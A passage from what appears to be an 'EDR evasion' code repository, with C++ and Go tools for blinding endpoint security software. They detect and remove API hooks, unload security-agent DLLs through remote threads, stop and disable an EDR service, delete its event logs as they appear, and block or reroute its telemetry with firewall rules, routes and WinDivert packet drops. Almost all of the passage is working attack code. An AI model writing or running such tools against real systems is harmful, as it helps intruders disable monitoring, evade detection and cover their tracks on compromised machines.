MEM_IMAGE) return false; char filename[MAX_PATH]{}; if (GetMappedFileNameA(hProc, baseAddr, filename, MAX_PATH) == 0) return false; return true; } // --- Read remote UNICODE_STRING contents into std::wstring --- static bool ReadRemoteUnicodeString(HANDLE hProc, const UNICODE_STRING& remoteStr, std::wstring& out) { if (!remoteStr.Buffer || remoteStr.Length == 0) return false; size_t wcharCount = remoteStr.Length / sizeof(WCHAR); std::vector buf(wcharCount + 1, L'\0'); SIZE_T bytesRead = 0; if (!ReadProcessMemory(hProc, remoteStr.Buffer, buf.data(), remoteStr.Length, &bytesRead)) return false; out.assign(buf.data(), wcharCount); return true; } // --- Remote PEB Walk via InMemoryOrderModuleList --- static void RemotePEBWalk(DWORD pid) { HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); if (!hProc) { // std::cerr << "[-] OpenProcess failed for PID " << pid << " (" << GetLastError() << ")\n"; return; } HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); auto NtQueryInformationProcess = reinterpret_cast(GetProcAddress(hNtdll, "NtQueryInformationProcess")); if (!NtQueryInformationProcess) { CloseHandle(hProc); return; } PROCESS_BASIC_INFORMATION pbi{}; if (NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr) != 0 || !pbi.PebBaseAddress) { CloseHandle(hProc); return; } // Read remote PEB PEB peb{}; SIZE_T bytesRead = 0; if (!ReadProcessMemory(hProc, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead) || !peb.Ldr) { CloseHandle(hProc); return; } // Read remote PEB_LDR_DATA PEB_LDR_DATA ldr{}; if (!ReadProcessMemory(hProc, peb.Ldr, &ldr, sizeof(ldr), &bytesRead)) { CloseHandle(hProc); return; } // Compute the REMOTE address of InMemoryOrderModuleList head BYTE* remoteLdrBase = reinterpret_cast(peb.Ldr); BYTE* remoteListHeadAddr = remoteLdrBase + offsetof(PEB_LDR_DATA, InMemoryOrderModuleList); // Read the head LIST_ENTRY (remote) LIST_ENTRY remoteHead{}; if (!ReadProcessMemory(hProc, remoteListHeadAddr, &remoteHead, sizeof(remoteHead), &bytesRead)) { CloseHandle(hProc); return; } std::cout << "\n[+] Remote PEB Module Walk (PID: " << pid << "):\n"; // Iterate the circular doubly-linked list void* remoteFlink = remoteHead.Flink; while (remoteFlink && remoteFlink != remoteListHeadAddr) { // Each entry address = Flink - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) BYTE* remoteEntryAddr = reinterpret_cast(remoteFlink) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); LDR_DATA_TABLE_ENTRY remoteEntry{}; // definition from if (!ReadProcessMemory(hProc, remoteEntryAddr, &remoteEntry, sizeof(remoteEntry), &bytesRead)) break; std::wstring wFullDll; if (!ReadRemoteUnicodeString(hProc, remoteEntry.FullDllName, wFullDll)) { // Move to next anyway to avoid getting stuck } std::string modName(wFullDll.begin(), wFullDll.end()); if (!modName.empty()) { std::cout << " " << modName; bool sus = IsSuspiciousModule(modName); bool backed = IsBackedByFileRemote(hProc, remoteEntry.DllBase); if (sus) std::cout << " --> [!!] Keyword match"; if (!backed) std::cout << " --> [!!] NOT backed by file"; std::cout << '\n'; } // Advance to next entry remoteFlink = remoteEntry.InMemoryOrderLinks.Flink; if (!remoteFlink) break; // corrupted list guard } CloseHandle(hProc); } static void BatchScanAllProcesses() { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { std::cerr << "[-] Failed to create snapshot.\n"; return; } #ifdef UNICODE PROCESSENTRY32W pe32{}; pe32.dwSize = sizeof(pe32); if (!Process32FirstW(snapshot, &pe32)) { CloseHandle(snapshot); return; } do { RemotePEBWalk(pe32.th32ProcessID); } while (Process32NextW(snapshot, &pe32)); #else PROCESSENTRY32 pe32{}; pe32.dwSize = sizeof(pe32); if (!Process32First(snapshot, &pe32)) { CloseHandle(snapshot); return; } do { RemotePEBWalk(pe32.th32ProcessID); } while (Process32Next(snapshot, &pe32)); #endif CloseHandle(snapshot); } int main(int argc, char* argv[]) { if (argc == 2) { std::string arg = argv[1]; if (arg == "--all") { BatchScanAllProcesses(); return 0; } DWORD targetPid = 0; try { targetPid = static_cast(std::stoul(arg)); } catch (...) { std::cerr << "[-] Invalid PID.\n"; return 1; } RemotePEBWalk(targetPid); return 0; } std::cout << "[*] No PID specified. Use: EDRSpy.exe or --all\n"; return 0; } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/c++/detect-hooks-dlls.cpp ================================================ #define UNICODE #define _UNICODE #include #include #include #include #include #include #include #include #pragma comment(lib, "psapi.lib") std::vector suspicious_keywords = { "openhid", "edr", "sensor", "agent" }; bool IsSuspiciousModule(const std::string& modName) { for (auto& keyword : suspicious_keywords) { if (modName.find(keyword) != std::string::npos) return true; } return false; } void ListModules(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); if (!hProcess) { std::cerr << "[-] Failed to open process: " << pid << std::endl; return; } HMODULE hMods[1024]; DWORD cbNeeded; char szModName[MAX_PATH]; std::cout << "\n[+] Loaded modules for PID: " << pid << std::endl; if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { for (size_t i = 0; i < cbNeeded / sizeof(HMODULE); ++i) { if (GetModuleFileNameExA(hProcess, hMods[i], szModName, sizeof(szModName))) { std::string mod = szModName; std::cout << " " << mod << std::endl; if (IsSuspiciousModule(mod)) { std::cout << " --> [!!] Suspicious module detected!" << std::endl; } } } } CloseHandle(hProcess); } bool CheckInlineHook(LPCSTR dll, LPCSTR function) { HMODULE hMod = GetModuleHandleA(dll); if (!hMod) return false; FARPROC pFunc = GetProcAddress(hMod, function); if (!pFunc) return false; BYTE* bytes = reinterpret_cast(pFunc); if (bytes[0] == 0xE9) { std::cout << "[!] Inline hook detected on " << dll << "!" << std::endl; return true; } if (bytes[0] == 0x68 && bytes[5] == 0xC3) { std::cout << "[!] Push-Ret hook detected on " << dll << "!" << std::endl; return true; } return false; } bool CompareFuncBytes(LPCSTR dll, LPCSTR func) { HMODULE hMod = GetModuleHandleA(dll); FARPROC pFunc = GetProcAddress(hMod, func); char sysPath[MAX_PATH]; GetSystemDirectoryA(sysPath, MAX_PATH); strcat_s(sysPath, "\\"); strcat_s(sysPath, dll); HANDLE hFile = CreateFileA(sysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return false; DWORD fileSize = GetFileSize(hFile, NULL); HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, fileSize, NULL); if (!hMap) return false; LPVOID lpMap = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); if (!lpMap) return false; HMODULE hRefMod = LoadLibraryExA(sysPath, NULL, DONT_RESOLVE_DLL_REFERENCES); FARPROC pRefFunc = GetProcAddress(hRefMod, func); bool tampered = memcmp((void*)pFunc, (void*)pRefFunc, 16) != 0; if (tampered) std::cout << "[!!] Memory/disk mismatch for " << func << " in " << dll << std::endl; FreeLibrary(hRefMod); UnmapViewOfFile(lpMap); CloseHandle(hMap); CloseHandle(hFile); return tampered; } int main() { DWORD pid = GetCurrentProcessId(); ListModules(pid); std::vector> apis = { {"kernel32.dll", "CreateFileW"}, {"ntdll.dll", "NtOpenProcess"}, {"kernel32.dll", "WriteFile"}, {"kernel32.dll", "ReadFile"}, {"kernel32.dll", "CreateRemoteThread"}, {"kernel32.dll", "VirtualAllocEx"} }; std::cout << "\n[+] Checking for inline hooks..." << std::endl; for (auto& api : apis) { CheckInlineHook(api.first, api.second); } std::cout << "\n[+] Comparing memory vs disk for tampering..." << std::endl; for (auto& api : apis) { CompareFuncBytes(api.first, api.second); } return 0; } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/c++/unhooker.cpp ================================================ // UnhookerTool - Restore Hooked API Bytes (with PE header validation, trampoline detection, and hook source logging) #define UNICODE #define _UNICODE #include #include #include #include #include #include #include // for int32_t #include // for memset, memcmp #pragma comment(lib, "psapi.lib") static bool ComparePEHeaders(BYTE* loadedBase, BYTE* diskBase) { if (!loadedBase || !diskBase) return false; IMAGE_DOS_HEADER* dos1 = (IMAGE_DOS_HEADER*)loadedBase; IMAGE_DOS_HEADER* dos2 = (IMAGE_DOS_HEADER*)diskBase; if (dos1->e_magic != IMAGE_DOS_SIGNATURE || dos2->e_magic != IMAGE_DOS_SIGNATURE) return false; IMAGE_NT_HEADERS* nt1 = (IMAGE_NT_HEADERS*)(loadedBase + dos1->e_lfanew); IMAGE_NT_HEADERS* nt2 = (IMAGE_NT_HEADERS*)(diskBase + dos2->e_lfanew); if (nt1->Signature != IMAGE_NT_SIGNATURE || nt2->Signature != IMAGE_NT_SIGNATURE) return false; return (nt1->OptionalHeader.SizeOfImage == nt2->OptionalHeader.SizeOfImage) && (nt1->FileHeader.TimeDateStamp == nt2->FileHeader.TimeDateStamp); } static void DumpHookTarget(void* addr) { if (!addr) return; BYTE* p = (BYTE*)addr; // Pattern 1: JMP rel32 (E9 xx xx xx xx) if (p[0] == 0xE9) { int32_t offset = *(int32_t*)(p + 1); BYTE* dest = p + 5 + offset; std::cout << "[!] JMP Hook detected -> 0x" << std::hex << (void*)dest; HMODULE hMods[1024]; DWORD cbNeeded = 0; if (EnumProcessModules(GetCurrentProcess(), hMods, sizeof(hMods), &cbNeeded)) { const size_t count = cbNeeded / sizeof(HMODULE); for (size_t i = 0; i < count; ++i) { MODULEINFO mi{}; if (GetModuleInformation(GetCurrentProcess(), hMods[i], &mi, sizeof(mi))) { if ((BYTE*)dest >= (BYTE*)mi.lpBaseOfDll && (BYTE*)dest < (BYTE*)mi.lpBaseOfDll + mi.SizeOfImage) { char modName[MAX_PATH]{}; GetModuleFileNameA(hMods[i], modName, MAX_PATH); std::cout << " in " << modName; break; } } } } std::cout << std::endl; return; } // Pattern 2: 64-bit trampoline "mov rax, imm64; jmp rax" -> 48 B8 <8 bytes> FF E0 if (p[0] == 0x48 && p[1] == 0xB8 && p[10] == 0xFF && p[11] == 0xE0) { void* dest = *(void**)(p + 2); std::cout << "[!] 64-bit trampoline -> 0x" << std::hex << dest; HMODULE hMods[1024]; DWORD cbNeeded = 0; if (EnumProcessModules(GetCurrentProcess(), hMods, sizeof(hMods), &cbNeeded)) { const size_t count = cbNeeded / sizeof(HMODULE); for (size_t i = 0; i < count; ++i) { MODULEINFO mi{}; if (GetModuleInformation(GetCurrentProcess(), hMods[i], &mi, sizeof(mi))) { if ((BYTE*)dest >= (BYTE*)mi.lpBaseOfDll && (BYTE*)dest < (BYTE*)mi.lpBaseOfDll + mi.SizeOfImage) { char modName[MAX_PATH]{}; GetModuleFileNameA(hMods[i], modName, MAX_PATH); std::cout << " in " << modName; break; } } } } std::cout << std::endl; } } static bool RestoreFunctionFromDisk(const char* dllName, const char* funcName) { if (!dllName || !funcName) return false; HMODULE hMod = GetModuleHandleA(dllName); if (!hMod) return false; FARPROC hookedFunc = GetProcAddress(hMod, funcName); if (!hookedFunc) return false; DumpHookTarget((void*)hookedFunc); char sysPath[MAX_PATH]{}; GetSystemDirectoryA(sysPath, MAX_PATH); strcat_s(sysPath, "\\"); strcat_s(sysPath, dllName); HANDLE hFile = CreateFileA(sysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return false; DWORD fileSize = GetFileSize(hFile, NULL); if (fileSize == INVALID_FILE_SIZE || fileSize == 0) { CloseHandle(hFile); return false; } HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (!hMap) { CloseHandle(hFile); return false; } BYTE* diskBase = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); if (!diskBase) { CloseHandle(hMap); CloseHandle(hFile); return false; } BYTE* memBase = (BYTE*)hMod; if (!ComparePEHeaders(memBase, diskBase)) { std::cout << "[-] PE headers differ for " << dllName << ". Using fallback.\n"; DWORD oldProtect = 0; if (VirtualProtect((LPVOID)hookedFunc, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) { BYTE* patch = (BYTE*)hookedFunc; if (patch[0] == 0xE9) { std::cout << "[~] JMP stub found. Neutralizing inline hook for " << funcName << std::endl; memset(patch, 0x90, 5); // NOP the 5-byte JMP } else if (patch[0] == 0x48 && patch[1] == 0xB8 && patch[10] == 0xFF && patch[11] == 0xE0) { std::cout << "[~] 64-bit trampoline detected. Neutralizing for " << funcName << std::endl; memset(patch, 0x90, 12); // NOP the whole trampoline } else { std::cout << "[!] No known hook pattern for " << funcName << std::endl; } VirtualProtect((LPVOID)hookedFunc, 16, oldProtect, &oldProtect); } UnmapViewOfFile(diskBase); CloseHandle(hMap); CloseHandle(hFile); return false; } // Safe path: copy pristine bytes from a clean mapped instance HMODULE cleanMod = LoadLibraryExA(sysPath, NULL, DONT_RESOLVE_DLL_REFERENCES); if (!cleanMod) { UnmapViewOfFile(diskBase); CloseHandle(hMap); CloseHandle(hFile); return false; } FARPROC cleanFunc = GetProcAddress(cleanMod, funcName); if (!cleanFunc) { FreeLibrary(cleanMod); UnmapViewOfFile(diskBase); CloseHandle(hMap); CloseHandle(hFile); return false; } DWORD oldProtect = 0; if (!VirtualProtect((LPVOID)hookedFunc, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) { FreeLibrary(cleanMod); UnmapViewOfFile(diskBase); CloseHandle(hMap); CloseHandle(hFile); return false; } std::memcpy( reinterpret_cast(hookedFunc), reinterpret_cast(cleanFunc), 16 ); VirtualProtect((LPVOID)hookedFunc, 16, oldProtect, &oldProtect); FreeLibrary(cleanMod); UnmapViewOfFile(diskBase); CloseHandle(hMap); CloseHandle(hFile); std::cout << "[+] Unhooked " << funcName << " in " << dllName << std::endl; return true; } int main() { std::vector> targets = { {"ntdll.dll", "NtOpenProcess"}, {"kernel32.dll","CreateFileW"}, {"kernel32.dll","VirtualAllocEx"}, {"kernel32.dll","ReadFile"}, {"kernel32.dll","WriteFile"}, }; for (auto& target : targets) { RestoreFunctionFromDisk(target.first, target.second); } return 0; } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/c++/unload-dlls.cpp ================================================ // EDR DLL Unloader - Safely attempt to unload injected, file-backed DLLs from target processes // DISCLAIMER: FreeLibrary in a remote process ONLY works for legitimately loaded, file-backed modules. // It will NOT remove manual-mapped (memory-only) payloads. Use with caution in demos. // // Features: // - Enables SeDebugPrivilege // - Target a single PID (--pid N) or all processes (--all) // - Filter by substring (--module substring), defaults to suspicious keywords (openhid, edr, sensor, agent) // - Dry run (--dry-run): report what would be unloaded without changing anything // - Verifies module is file-backed before attempting unload // - Finds the remote address of FreeLibrary via kernel32 base + RVA from local process // // Build (MSVC): cl /EHsc /O2 edr_unloader.cpp /link psapi.lib advapi32.lib // Build (MinGW-w64): x86_64-w64-mingw32-g++ -O2 edr_unloader.cpp -lpsapi -ladvapi32 -o edr_unloader.exe #define UNICODE #define _UNICODE #include #include #include #include #include #include #include #include #include #pragma comment(lib, "psapi.lib") #pragma comment(lib, "advapi32.lib") static const char* kDefaultKeywords[] = {"openhid", "edr", "sensor", "agent"}; static bool iequals_ascii(const std::string& a, const std::string& b) { if (a.size() != b.size()) return false; for (size_t i = 0; i < a.size(); ++i) { char ca = (char)tolower((unsigned char)a[i]); char cb = (char)tolower((unsigned char)b[i]); if (ca != cb) return false; } return true; } static std::string tolower_ascii(std::string s) { for (auto& c : s) c = (char)tolower((unsigned char)c); return s; } static bool EnablePrivilege(LPCWSTR name) { HANDLE hToken{}; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false; LUID luid{}; if (!LookupPrivilegeValueW(nullptr, name, &luid)) { CloseHandle(hToken); return false; } TOKEN_PRIVILEGES tp{}; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr); bool ok = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); return ok; } static bool IsFileBackedModule(HANDLE hProc, HMODULE mod) { MEMORY_BASIC_INFORMATION mbi{}; if (!VirtualQueryEx(hProc, mod, &mbi, sizeof(mbi))) return false; if (mbi.Type != MEM_IMAGE) return false; char path[MAX_PATH]{}; if (GetMappedFileNameA(hProc, mod, path, MAX_PATH) == 0) return false; return true; } static HMODULE FindRemoteKernel32(HANDLE hProc) { HMODULE mods[1024]; DWORD cbNeeded=0; if (!EnumProcessModulesEx(hProc, mods, sizeof(mods), &cbNeeded, LIST_MODULES_ALL)) return nullptr; size_t count = cbNeeded / sizeof(HMODULE); for (size_t i=0;i= 12 && s.rfind("\\kernel32.dll") == s.size()-12) { return mods[i]; } } } return nullptr; } static LPTHREAD_START_ROUTINE ResolveRemoteFreeLibrary(HANDLE hProc) { // local addresses HMODULE k32Local = GetModuleHandleW(L"kernel32.dll"); if (!k32Local) return nullptr; FARPROC freeLocal = GetProcAddress(k32Local, "FreeLibrary"); if (!freeLocal) return nullptr; // remote base HMODULE k32Remote = FindRemoteKernel32(hProc); if (!k32Remote) return nullptr; // compute RVA in local, add to remote base auto rva = (uintptr_t)freeLocal - (uintptr_t)k32Local; auto remote = (LPTHREAD_START_ROUTINE)((uintptr_t)k32Remote + rva); return remote; } static bool ShouldTargetModule(const std::string& pathLower, const std::string& filterLower) { if (!filterLower.empty()) { return pathLower.find(filterLower) != std::string::npos; } for (auto kw : kDefaultKeywords) { if (pathLower.find(kw) != std::string::npos) return true; } return false; } static void UnloadMatchesInProcess(DWORD pid, const std::string& filterLower, bool dryRun) { HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pid); if (!hProc) return; HMODULE mods[1024]; DWORD cbNeeded=0; if (!EnumProcessModulesEx(hProc, mods, sizeof(mods), &cbNeeded, LIST_MODULES_ALL)) { CloseHandle(hProc); return; } LPTHREAD_START_ROUTINE pRemoteFree = ResolveRemoteFreeLibrary(hProc); if (!pRemoteFree && !dryRun) { std::cout << "[-] PID " << pid << ": cannot resolve remote FreeLibrary (bitness/version mismatch?)\n"; CloseHandle(hProc); return; } size_t count = cbNeeded / sizeof(HMODULE); for (size_t i=0;i] PID " << pid << ": target " << path << (dryRun? " (dry-run)" : "") << "\n"; if (dryRun) continue; HANDLE hThread = CreateRemoteThread(hProc, nullptr, 0, pRemoteFree, mods[i], 0, nullptr); if (!hThread) { std::cout << " [-] CreateRemoteThread failed: " << GetLastError() << "\n"; continue; } WaitForSingleObject(hThread, 5000); DWORD code = 0; GetExitCodeThread(hThread, &code); std::cout << " [+] FreeLibrary returned: " << code << "\n"; CloseHandle(hThread); } CloseHandle(hProc); } static void Usage() { std::cout << "\nEDR DLL Unloader\n" " --pid Unload matching modules in PID N\n" " --all Unload matching modules in all processes\n" " --module Match only modules whose path contains (case-insensitive)\n" " --dry-run Do not unload; just print intended actions\n"; } int wmain(int argc, wchar_t* argv[]) { EnablePrivilege(SE_DEBUG_NAME); bool all = false; DWORD pid = 0; bool dryRun = false; std::string filterLower; for (int i=1;i 0 { filter += " or " } filter += fmt.Sprintf("ip.DstAddr == %s", ip) } filter += ")" handle, err := windivert.Open(filter, windivert.LayerNetwork, 0, 0) if err != nil { fmt.Printf("[-] Failed to open WinDivert: %v\n", err) return } defer handle.Close() packet := make([]byte, 1500) addr := new(windivert.Address) fmt.Println("[*] Dropping outbound packets to target IPs... (Ctrl+C to exit)") for { _, err := handle.Recv(packet, addr) if err != nil { continue } fmt.Printf("[DROP] Packet to %s\n", addr.IPv4Destination()) // Do not re-inject to drop } // Optional: Remove driver from disk exeDir, _ := os.Executable() drvPath := filepath.Join(filepath.Dir(exeDir), driverName) os.Remove(drvPath) } func findTargetIPs() []string { cmd := exec.Command("netstat", "-ano") output, err := cmd.Output() if err != nil { fmt.Printf("[-] Failed to run netstat: %v\n", err) return nil } scanner := bufio.NewScanner(strings.NewReader(string(output))) re := regexp.MustCompile(`^\\s*TCP\\s+\\S+:(\\d+)\\s+([\\d\\.]+):(\\d+)\\s+ESTABLISHED\\s+\\d+`) uniqueIPs := make(map[string]bool) for scanner.Scan() { line := scanner.Text() matches := re.FindStringSubmatch(line) if len(matches) == 4 { remoteIP := matches[2] port := matches[3] if targetPorts[port] { uniqueIPs[remoteIP] = true } } } ips := []string{} for ip := range uniqueIPs { ips = append(ips, ip) } return ips } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/catwatch.md ================================================ go get github.com/Asutorufa/windivert go get github.com/rivo/tview go get github.com/gdamore/tcell/v2 go build -ldflags="-s -w" -o watchsuite.exe ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/disable-service.go ================================================ package main import ( "fmt" "os/exec" ) func main() { serviceName := "edrsvc" // Replace this or make it an argument err := stopService(serviceName) if err != nil { fmt.Printf("[-] Failed to stop service %s: %v\n", serviceName, err) } else { fmt.Printf("[+] Service %s stopped successfully.\n", serviceName) } } func stopService(name string) error { // sc stop cmd := exec.Command("sc", "stop", name) output, err := cmd.CombinedOutput() fmt.Printf("[*] sc stop output:\n%s\n", string(output)) if err != nil { return err } // Optional: Disable the service to prevent restart cmd = exec.Command("sc", "config", name, "start=", "disabled") output, err = cmd.CombinedOutput() fmt.Printf("[*] sc config output:\n%s\n", string(output)) return err } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/file-stomp.go ================================================ package main import ( "flag" "fmt" "os" "path/filepath" "strings" "time" "unsafe" "golang.org/x/sys/windows" ) var ( watchDir string targetPattern string recursive bool debugEvents bool ) func main() { flag.StringVar(&watchDir, "dir", `C:\Programdata\edrsvc\log\output_events`, "Directory to monitor (non-recursive unless -recursive)") flag.StringVar(&targetPattern, "match", `*.txt`, "Glob for filenames to delete on change") flag.BoolVar(&recursive, "recursive", false, "Monitor subdirectories recursively") flag.BoolVar(&debugEvents, "debug", true, "Print all file change events") flag.Parse() // Normalize watchDir = filepath.Clean(watchDir) // Open directory for change notifications h, err := windows.CreateFile( windows.StringToUTF16Ptr(watchDir), windows.FILE_LIST_DIRECTORY, windows.FILE_SHARE_READ|windows.FILE_SHARE_WRITE|windows.FILE_SHARE_DELETE, nil, windows.OPEN_EXISTING, windows.FILE_FLAG_BACKUP_SEMANTICS, // synchronous (no OVERLAPPED) 0, ) if err != nil { fmt.Printf("[-] CreateFile(%s) failed: %v\n", watchDir, err) return } defer windows.CloseHandle(h) fmt.Printf("[*] Watching: %s\n", watchDir) fmt.Printf("[*] Match: %q (case-insensitive)\n", targetPattern) fmt.Printf("[*] Recursive: %v Debug: %v\n", recursive, debugEvents) buf := make([]byte, 64*1024) const notifyMask = windows.FILE_NOTIFY_CHANGE_FILE_NAME | windows.FILE_NOTIFY_CHANGE_DIR_NAME | windows.FILE_NOTIFY_CHANGE_ATTRIBUTES | windows.FILE_NOTIFY_CHANGE_SIZE | windows.FILE_NOTIFY_CHANGE_LAST_WRITE | windows.FILE_NOTIFY_CHANGE_CREATION for { var bytesReturned uint32 if err := windows.ReadDirectoryChanges( h, &buf[0], uint32(len(buf)), recursive, notifyMask, &bytesReturned, nil, // synchronous 0, // completion routine (uintptr) ); err != nil { fmt.Printf("[-] ReadDirectoryChanges failed: %v\n", err) time.Sleep(250 * time.Millisecond) continue } offset := 0 for { info := (*windows.FileNotifyInformation)(unsafe.Pointer(&buf[offset])) nameLen := int(info.FileNameLength / 2) nameSlice := unsafe.Slice(&info.FileName, nameLen) filename := windows.UTF16ToString(nameSlice) fullPath := filepath.Join(watchDir, filename) nameLower := strings.ToLower(filepath.Base(filename)) patternLower := strings.ToLower(targetPattern) matched, _ := filepath.Match(patternLower, nameLower) if debugEvents { fmt.Printf("[evt] action=%d file=%s matched=%v\n", info.Action, fullPath, matched) } // Many tools: create temp -> write -> rename old -> rename new. // We delete on any of these if the name matches the glob. if matched { switch info.Action { case windows.FILE_ACTION_ADDED, windows.FILE_ACTION_MODIFIED, windows.FILE_ACTION_RENAMED_NEW_NAME, windows.FILE_ACTION_RENAMED_OLD_NAME, windows.FILE_ACTION_REMOVED: // tiny delay in case writer holds a handle time.Sleep(100 * time.Millisecond) if err := os.Remove(fullPath); err != nil { // If it was REMOVED already, this may just fail with not found. if debugEvents { fmt.Printf("[-] Delete failed for %s: %v\n", fullPath, err) } } else { fmt.Printf("[+] Deleted %s (action=%d)\n", fullPath, info.Action) } } } if info.NextEntryOffset == 0 { break } offset += int(info.NextEntryOffset) if offset >= int(bytesReturned) { break } } } } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/firewall-rule.go ================================================ package main import ( "bufio" "fmt" "os/exec" "regexp" "strings" ) func main() { targetPorts := map[string]bool{ "9200": true, "5400": true, } droppedIPs := make(map[string]bool) // Run netstat to get current TCP connections cmd := exec.Command("netstat", "-ano") output, err := cmd.Output() if err != nil { fmt.Println("[-] Error running netstat:", err) return } scanner := bufio.NewScanner(strings.NewReader(string(output))) // Regex to match lines like: // TCP 192.168.1.100:50497 192.168.1.200:9200 ESTABLISHED 1234 re := regexp.MustCompile(`^\s*TCP\s+\S+:(\d+)\s+(\[?[\da-fA-F\.:%]+\]?):(9200|5400)\s+\S+\s+\d+$`) for scanner.Scan() { line := scanner.Text() matches := re.FindStringSubmatch(line) if len(matches) == 4 { remoteIP := matches[2] port := matches[3] if targetPorts[port] && !droppedIPs[remoteIP] { fmt.Printf("[+] Dropping outbound connection to %s (port %s)\n", remoteIP, port) droppedIPs[remoteIP] = true addDropRule(remoteIP) } } } } func addDropRule(ip string) { ruleName := fmt.Sprintf("DropWatch_%s", ip) // Silent DROP: no RST/ICMP, traffic is discarded quietly cmd := exec.Command("netsh", "advfirewall", "firewall", "add", "rule", fmt.Sprintf("name=%s", ruleName), "dir=out", "action=block", fmt.Sprintf("remoteip=%s", ip), "profile=any", "edge=no", "enable=yes") output, err := cmd.CombinedOutput() if err != nil { fmt.Printf("[-] Failed to add drop rule for %s: %v\n", ip, err) fmt.Println(string(output)) } else { fmt.Printf("[+] Silent drop rule added for %s\n", ip) } } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/go.mod ================================================ module file-stomp.go go 1.24.2 require golang.org/x/sys v0.35.0 // indirect ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/go.sum ================================================ golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI= golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/re-route.go ================================================ package main import ( "bufio" "fmt" "os/exec" "regexp" "strings" ) // Replace this with your actual gateway/interface if needed const ( defaultGateway = "127.0.0.1" metric = "1" ) func main() { targetPorts := map[string]bool{ "9200": true, "5400": true, } establishedIPs := make(map[string]bool) // Run netstat -ano cmd := exec.Command("netstat", "-ano") output, err := cmd.Output() if err != nil { fmt.Println("Error running netstat:", err) return } scanner := bufio.NewScanner(strings.NewReader(string(output))) // Sample line to match: // TCP 192.168.1.100:50497 192.168.1.200:9200 ESTABLISHED 1234 re := regexp.MustCompile(`^\s*TCP\s+\S+:(\d+)\s+(\[?[\da-fA-F\.:%]+\]?):(9200|5400)\s+\S+\s+\d+$`) for scanner.Scan() { line := scanner.Text() matches := re.FindStringSubmatch(line) if len(matches) == 4 { remoteIP := matches[2] port := matches[3] if targetPorts[port] { if !establishedIPs[remoteIP] { fmt.Printf("[+] Found ESTABLISHED connection to %s on port %s\n", remoteIP, port) establishedIPs[remoteIP] = true } } } } // Add route for each IP for ip := range establishedIPs { addRoute(ip) } } func addRoute(ip string) { cmd := exec.Command("route", "add", ip, "mask", "255.255.255.255", defaultGateway, "metric", metric) fmt.Printf("[*] Adding route for %s...\n", ip) output, err := cmd.CombinedOutput() if err != nil { fmt.Printf("[!] Failed to add route for %s: %v\n", ip, err) fmt.Println(string(output)) return } fmt.Printf("[+] Route added for %s\n", ip) } //notes: add a service that also listens via http on these same ports and responds with 200 OK no matter what is receeived. ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/golang/snuff-traffic.go ================================================ package main import ( "bufio" "fmt" "os" "os/exec" "path/filepath" "regexp" "strings" "time" "github.com/Asutorufa/windivert" ) var ( targetPorts = map[string]bool{ "9200": true, "5400": true, } driverName = "WinDivert64.sys" // or WinDivert32.sys depending on system ) func main() { ips := findTargetIPs() if len(ips) == 0 { fmt.Println("[-] No active connections to target ports found.") return } fmt.Printf("[*] Target IPs: %v\n", ips) err := startPacketDrop(ips) if err != nil { fmt.Printf("[-] Error starting packet drop: %v\n", err) } err = selfRemoveDriver() if err != nil { fmt.Printf("[-] Failed to remove driver: %v\n", err) } else { fmt.Println("[+] Driver removed from disk.") } } func findTargetIPs() []string { cmd := exec.Command("netstat", "-ano") output, err := cmd.Output() if err != nil { fmt.Printf("[-] Failed to run netstat: %v\n", err) return nil } scanner := bufio.NewScanner(strings.NewReader(string(output))) re := regexp.MustCompile(`^\s*TCP\s+\S+:(\d+)\s+([\d\.]+):(\d+)\s+ESTABLISHED\s+\d+`) uniqueIPs := make(map[string]bool) for scanner.Scan() { line := scanner.Text() matches := re.FindStringSubmatch(line) if len(matches) == 4 { remoteIP := matches[2] port := matches[3] if targetPorts[port] { uniqueIPs[remoteIP] = true } } } ips := []string{} for ip := range uniqueIPs { ips = append(ips, ip) } return ips } func 